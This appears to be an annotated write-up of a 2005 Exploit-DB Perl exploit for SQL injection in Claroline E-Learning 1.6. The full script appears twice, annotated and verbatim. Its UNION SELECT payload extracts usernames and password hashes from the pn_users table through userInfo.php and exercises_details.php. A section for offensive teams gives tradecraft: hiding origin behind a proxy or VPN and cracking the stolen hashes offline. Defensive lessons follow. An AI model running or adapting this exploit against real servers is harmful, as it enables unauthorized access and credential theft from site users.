Claroline E-Learning 1.6 Remote Hash SQL Injection Explained

Claroline E-Learning 1.6 Remote Hash SQL Injection Explained
What this paper is
This paper describes a remote SQL injection vulnerability in Claroline E-Learning Application version 1.6. The vulnerability allows an attacker to inject SQL queries into specific PHP scripts, potentially leading to the disclosure of sensitive information, such as usernames and password hashes. The provided exploit script automates the process of exploiting this vulnerability.
Simple technical breakdown
The core of the vulnerability lies in how the application handles user input in certain URL parameters. Specifically, it appears to be vulnerable to SQL injection when the uInfo parameter is used in userInfo.php and exercises_details.php.
The exploit crafts a malicious SQL query using a UNION SELECT statement. This statement allows the attacker to combine the results of their injected query with the original, legitimate query that the application would have executed. By carefully constructing the UNION SELECT statement, the attacker can extract data from other tables in the database, in this case, the pn_users table, which contains user credentials.
The exploit then sends this crafted query to the vulnerable web application via HTTP GET requests. If successful, the application will return the extracted data as part of its normal response, which the exploit script then displays.
Complete code and payload walkthrough
The provided Perl script automates the exploitation of the Claroline E-Learning 1.6 SQL injection vulnerability.
#!/usr/bin/perl
# Claroline E-Learning Application Remote SQL Exploit
# [K-C0d3r]
# This tools and to consider only himself to educational purpose
# Bug discovered by
# Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC
# [K-C0d3r]
use IO::Socket; # Imports the necessary module for network socket operations.
sub Usage { # Defines a subroutine named 'Usage' to display help information.
print STDERR "Usage: KCcol-xpl.pl <www.victim.com> <path/dir> <target_num>\n"; # Prints the correct command-line usage.
print STDERR "Targets:\n1 - userInfo.php\n"; # Lists the first target script.
print STDERR "2 - exercises_details.php\n"; # Lists the second target script.
exit; # Exits the script.
}
if (@ARGV < 3) # Checks if the number of command-line arguments is less than 3.
{
Usage(); # If less than 3 arguments, call the Usage subroutine.
}
if (@ARGV > 3) # Checks if the number of command-line arguments is greater than 3.
{
Usage(); # If more than 3 arguments, call the Usage subroutine.
}
if (@ARGV == 3) # Checks if exactly 3 command-line arguments are provided.
{
$host = @ARGV[0]; # Assigns the first argument (hostname) to the $host variable.
$path = @ARGV[1]; # Assigns the second argument (path/directory) to the $path variable.
$target = @ARGV[2]; # Assigns the third argument (target number) to the $target variable.
print "[K-C0d3r] Claroline E-Learning Application Remote SQL Exploit [K-C0d3r]\n"; # Prints a banner.
print "[+] Connecting to $host\n"; # Informs the user about the connection attempt.
# This is the core of the SQL injection payload.
# %20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null
# - %20: URL-encoded space character.
# - UNION SELECT: SQL keyword to combine results of two SELECT statements.
# - pn_uname, pn_pass: These are likely column names in the 'pn_users' table for username and password hash.
# - null: Used to fill in columns that are not being extracted, matching the expected number of columns from the original query.
# - The number of columns in the SELECT statement (8 in this case) must match the number of columns in the original query that is being bypassed.
$sqli = "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
# %20FROM%20pn_users%20WHERE%20pn_uid=2/*
# - FROM pn_users: Specifies the table to retrieve data from.
# - WHERE pn_uid=2: Filters the results to a specific user ID (user ID 2). This is a common target for default admin accounts.
# - /*: This is a SQL comment. It's used to terminate the original SQL query and prevent syntax errors.
$sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";
$socket = new IO::Socket::INET (PeerAddr => "$host", # Creates a new TCP socket connection to the specified host.
PeerPort => 80, # Connects to port 80 (HTTP).
Proto => 'tcp'); # Specifies the protocol as TCP.
die unless $socket; # Exits if the socket connection fails.
print "[+] Injecting command ...\n"; # Informs the user that the injection is happening.
if ($target == 1) # Checks if the target is '1' (userInfo.php).
{
# Constructs the HTTP GET request.
# GET http://$host/$path/userInfo.php?uInfo=-1$sqli HTTP/1.1
# - GET: HTTP method.
# - http://$host/$path/userInfo.php: The target URL.
# - ?uInfo=-1: The vulnerable parameter. '-1' is used to ensure the original query returns no results, making the UNION SELECT more likely to be executed and its results displayed.
# - $sqli: The injected SQL query.
# Host: $host\n\n Connection: Close\r\n\r\n
# - Host header: Standard HTTP header.
# - Connection: Close: Tells the server to close the connection after the response.
print $socket "GET http://$host/$path/userInfo.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>) # Reads the response from the server line by line.
{
print $_; # Prints each received line to standard output.
exit; # Exits the script after receiving the first line of the response. This is a simplification; a real exploit might parse the response for specific data.
}
}
if ($target == 2) # Checks if the target is '2' (exercises_details.php).
{
# Similar HTTP GET request as for target 1, but for exercises_details.php.
print $socket "GET http://$host/$path/exercises_details.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>) # Reads the response from the server line by line.
{
print $_; # Prints each received line to standard output.
exit; # Exits the script after receiving the first line of the response.
}
}
}
# milw0rm.com [2005-06-19]Code Fragment/Block -> Practical Purpose Mapping:
use IO::Socket;-> Enables network communication for sending HTTP requests.sub Usage { ... }-> Provides instructions on how to run the script.if (@ARGV < 3) { Usage(); }-> Basic argument validation to ensure the script is called correctly.$host = @ARGV[0];-> Captures the target hostname.$path = @ARGV[1];-> Captures the web application's directory path.$target = @ARGV[2];-> Captures which specific script to target.$sqli = "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";-> This is the first part of the SQL injection payload. It constructs aUNION SELECTstatement designed to retrieve specific columns (pn_uname,pn_pass) from thepn_userstable. Thenullvalues are placeholders to match the expected number of columns in the original query.$sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";-> This is the second part of the SQL injection payload. It specifies the target table (pn_users), a condition to retrieve data for user ID 2 (pn_uid=2), and a SQL comment (/*) to terminate the original query.$socket = new IO::Socket::INET (...)-> Establishes a TCP connection to the target web server on port 80.print $socket "GET http://$host/$path/userInfo.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";-> Sends the crafted HTTP GET request touserInfo.phpwith the injected SQL. The-1inuInfo=-1is a common technique to ensure the original query returns no valid results, thus allowing theUNION SELECTto dominate the output.print $socket "GET http://$host/$path/exercises_details.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";-> Sends the crafted HTTP GET request toexercises_details.phpwith the injected SQL.while (<$socket>) { print $_; exit; }-> Reads the server's response and prints it to the console. Theexitafter the first line is a simplification; a more robust exploit would parse the output to extract specific credentials.
Payload Segments:
- SQL Injection String (
$sqli):%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null- Purpose: To perform a
UNION SELECToperation. It attempts to extractpn_uname(username) andpn_pass(password hash) from thepn_userstable. Thenullvalues are placeholders to match the expected number of columns in the original query. The repetition ofpn_unameandpn_passsuggests the attacker might be trying to retrieve multiple instances or is unsure of the exact column order and is trying different positions.
- Purpose: To perform a
%20FROM%20pn_users%20WHERE%20pn_uid=2/*- Purpose: To specify the data source (
pn_userstable), filter for a specific user ID (user ID 2, often an administrator), and terminate the original SQL query using a comment (/*).
- Purpose: To specify the data source (
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server (typically port 80 or 443). No prior authentication or local access is required.
- Lab Preconditions:
- A vulnerable Claroline E-Learning Application v1.6 instance must be deployed and accessible.
- The web server must be running and configured to serve the PHP application.
- The
pn_userstable must exist and contain user data, includingpn_unameandpn_passcolumns. - User ID 2 (
pn_uid=2) should exist in thepn_userstable.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- Basic understanding of HTTP requests and SQL injection.
- The exploit script itself.
- Execution Pitfalls:
- Incorrect Path/Directory: If the
$pathvariable is not set correctly, the script will fail to reach the vulnerable PHP files. - Firewall/WAF Blocking: Network firewalls or Web Application Firewalls (WAFs) might detect and block the malicious SQL query patterns.
- Application Version Mismatch: The exploit is specific to version 1.6. Newer versions might have patched this vulnerability.
- Database Schema Differences: If the
pn_userstable has a different schema (e.g., different column names for username/password, or a different number of columns in the original query), theUNION SELECTstatement will fail. The number of columns in theUNION SELECTmust match the number of columns in the original query. The exploit assumes 8 columns. - Output Parsing: The provided script simply prints the raw HTTP response. A real operator would need to parse this output to extract the username and password hash reliably. The
exitafter the first line is a significant simplification. - URL Encoding: While the exploit uses
%20for spaces, other characters might need encoding depending on the context. - HTTPS: The exploit is hardcoded for HTTP (port 80). Modifications would be needed for HTTPS.
- Incorrect Path/Directory: If the
- Tradecraft Considerations:
- Reconnaissance: Confirm the target application and version through passive and active reconnaissance. Identify the web server's path to the Claroline installation.
- Stealth: Use a proxy or VPN to mask the origin of the attack. Avoid noisy scanning.
- Payload Delivery: The exploit directly injects into the URL. This is a common technique for SQL injection.
- Post-Exploitation: If successful, the extracted password hashes would need to be cracked using offline tools.
Where this was used and when
This exploit targets Claroline E-Learning Application version 1.6. The paper was published on June 19, 2005, by milw0rm.com. This indicates the vulnerability was actively discussed and exploited around 2005. Exploits from this era were often used by security researchers and potentially by malicious actors against unpatched systems.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most crucial lesson. All user-supplied input, especially when used in database queries, must be rigorously validated and sanitized to prevent injection attacks. This includes using parameterized queries or prepared statements, which separate SQL code from data.
- Regular Patching and Updates: Keeping web applications and their underlying frameworks updated is essential. Vulnerabilities like this are often patched in later versions.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can provide a layer of defense by detecting and blocking common attack patterns, including SQL injection attempts. However, they can be bypassed.
- Principle of Least Privilege: Database users should only have the minimum necessary permissions. Avoid using highly privileged accounts for web application database access.
- Error Handling: Configure web applications to not reveal detailed database error messages to end-users, as these can provide attackers with valuable information about the database structure and vulnerabilities.
- Secure Coding Practices: Developers should be trained in secure coding practices to avoid introducing vulnerabilities like SQL injection in the first place.
ASCII visual (if applicable)
+-----------------+ +-------------------+ +----------------------+
| Attacker's Host |----->| Target Web Server |----->| Claroline Application|
| (Perl Script) | | (Port 80/443) | | (PHP Scripts) |
+-----------------+ +-------------------+ +----------+-----------+
|
| (SQL Injection)
v
+-----------------+
| Database Server |
| (pn_users table)|
+-----------------+Explanation: The attacker's machine runs the Perl script. The script establishes a network connection to the target web server. The web server then forwards the HTTP request to the Claroline application. The application, due to the vulnerability, passes the malicious SQL query to the database server. The database server executes the injected query, returning sensitive data back through the application to the attacker.
Source references
- Paper Title: Claroline E-Learning 1.6 - Remote Hash SQL Injection (2)
- Author: K-C0d3r
- Published: 2005-06-19
- Exploit-DB URL: https://www.exploit-db.com/papers/1053
- Raw Exploit URL: https://www.exploit-db.com/raw/1053
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
# Claroline E-Learning Application Remote SQL Exploit
# [K-C0d3r]
# This tools and to consider only himself to educational purpose
# Bug discovered by
# Greetz to mZ, 2b TUBE, off, rikky, str0ke, x0n3-h4ck, MWC
# [K-C0d3r]
use IO::Socket;
sub Usage {
print STDERR "Usage: KCcol-xpl.pl <www.victim.com> <path/dir> <target_num>\n";
print STDERR "Targets:\n1 - userInfo.php\n";
print STDERR "2 - exercises_details.php\n";
exit;
}
if (@ARGV < 3)
{
Usage();
}
if (@ARGV > 3)
{
Usage();
}
if (@ARGV == 3)
{
$host = @ARGV[0];
$path = @ARGV[1];
$target = @ARGV[2];
print "[K-C0d3r] Claroline E-Learning Application Remote SQL Exploit [K-C0d3r]\n";
print "[+] Connecting to $host\n";
$sqli = "%20UNION%20SELECT%20pn_uname,null,pn_uname,pn_pass,pn_pass,null,pn_pass,null";
$sqli .= "%20FROM%20pn_users%20WHERE%20pn_uid=2/*";
$socket = new IO::Socket::INET (PeerAddr => "$host",
PeerPort => 80,
Proto => 'tcp');
die unless $socket;
print "[+] Injecting command ...\n";
if ($target == 1)
{
print $socket "GET http://$host/$path/userInfo.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
print $_;
exit;
}
}
if ($target == 2)
{
print $socket "GET http://$host/$path/exercises_details.php?uInfo=-1$sqli HTTP/1.1\nHost: $host\n\n Connection: Close\r\n\r\n";
while (<$socket>)
{
print $_;
exit;
}
}
}
# milw0rm.com [2005-06-19]